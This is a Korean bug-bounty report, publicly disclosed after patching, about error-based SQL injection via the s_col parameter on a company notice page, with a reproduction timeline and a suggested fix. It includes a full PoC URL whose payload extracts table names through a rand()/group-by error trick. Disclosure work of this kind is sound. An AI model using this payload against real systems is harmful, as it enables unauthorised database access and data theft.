s_col 파라미터를 통한 error based sqli

작성자 4b743376 프로그램 엔큐리티

WEB 종료됨 높음 보상없음 작성일: 2022년 3월 23일 (3년 전) 마지막 업데이트일: 2022년 7월 6일 (2년 전)

취약점 유형

SQL injection

상세내용

개요

Notice 공지사항 페이지 s_col 파라미터에 ’ 삽입 시 에러 발생

재현 과정

[취약점 재현을 하기 위한 과정을 서술해 주세요]

  1. [step1]
    Notice 공지사항 페이지 소스 코드 242번 라인에서 249번 라인을 확인 시 s_col 파라미터 발견 가능
    Description

  2. [step2]
    검색 문자열이 s_txt 라는 점에서 근거 s_col 파라미터는 검색하는 카테고리 값을 담는 파라미터라고 판단하였고 이를 증명하기 위해 s_col 파라미터에 ’ 값을 입력한 결과 에러 구문 확인 가능
    url : http://www.ncurity.com/sub/1_6.php?s_txt=234&s_col=%27
    Description

  3. [step3]
    따라서 error based SQLI 공격이 가능 하며 이를 이용하여 내부 db 데이터 유출 가능
    poc : http://www.ncurity.com/sub/1_6.php?s_txt=234&s_col=1=2%20||%20(select%20concat((select%20(table_name)%20from%20information_schema.tables%20where%20table_type=%27base%20table%27%20limit%200,1),floor(rand(0)*2))a%20from%20(select%201%20union%20select%202%20union%20select%203)a%20group%20by%20a%20having%20min(0))–%20a
    Description

예상되는 취약점 발생 원인

[해당 취약점이 발생하는 예상 원인을 서술해 주세요]
s_txt 파리미터는 검색 문자열로 s_col 파라미터는 where문 뒤 검색하는 필드 명으로 필터 없이 들어가는 쿼리를 가지고 있을 가능성이 매우 높습니다.

패치 방법

[해당 취약점을 패치하기 위한 대응 방법을 서술해 주세요]
Prepared statement 사용 및 입력 값 필터

예상 결과 및 파급력

[해당 취약점으로 인해 예상되는 결과 및 파급력을 서술해 주세요. 시나리오가 포함되어도 좋습니다.]
db 내 주요 데이터 탈취 가능

기타사항 및 레퍼런스

[그 외에 추가할 내용이 있다면 이곳에 작성해주세요.(스크린샷, 로그 등)]

  • [첨부파일 / 레퍼런스]

타임라인

4b743376 님이 티켓을 제출했습니다. 2022년 3월 23일 (3년 전)
Steve BUGCAMP STAFF 님이 상태를 '제출됨'에서 '처리중'으로 변경했습니다. 2022년 3월 29일 (3년 전)

제출해주신 티켓 확인 결과 Error base SQL injection 취약점을 확인하였습니다. 해당 티켓은 담당자에게 전달하도록 하겠습니다.

Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 7월 1일 (2년 전)

제보해주신 취약점이 패치되었습니다.
취약점의 영향력을 고려하여 위험도가 높음으로 변경되며, 취약점이 잘 패치되었는지 확인 부탁드립니다.

Steve BUGCAMP STAFF 님이 위험도를 '매우높음'에서 '높음'으로 변경했습니다. 2022년 7월 1일 (2년 전)
Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 7월 6일 (2년 전)

추가 이슈 없을 경우 프로그램 종료 후 핵티비티에 공개될 예정입니다.

엔큐리티 버그바운티 프로그램에 참여해주셔서 감사합니다.

4b743376 님이 댓글을 남겼습니다. 2022년 7월 6일 (2년 전)

취약점 패치 여부 확인 했습니다. 감사합니다.

Steve BUGCAMP STAFF 님이 상태를 '처리중'에서 '종료됨'으로 변경했습니다. 2022년 7월 6일 (2년 전)
Steve BUGCAMP STAFF 님이 공개상태를 '비공개'에서 '전체공개'로 변경했습니다. 2022년 7월 6일 (2년 전)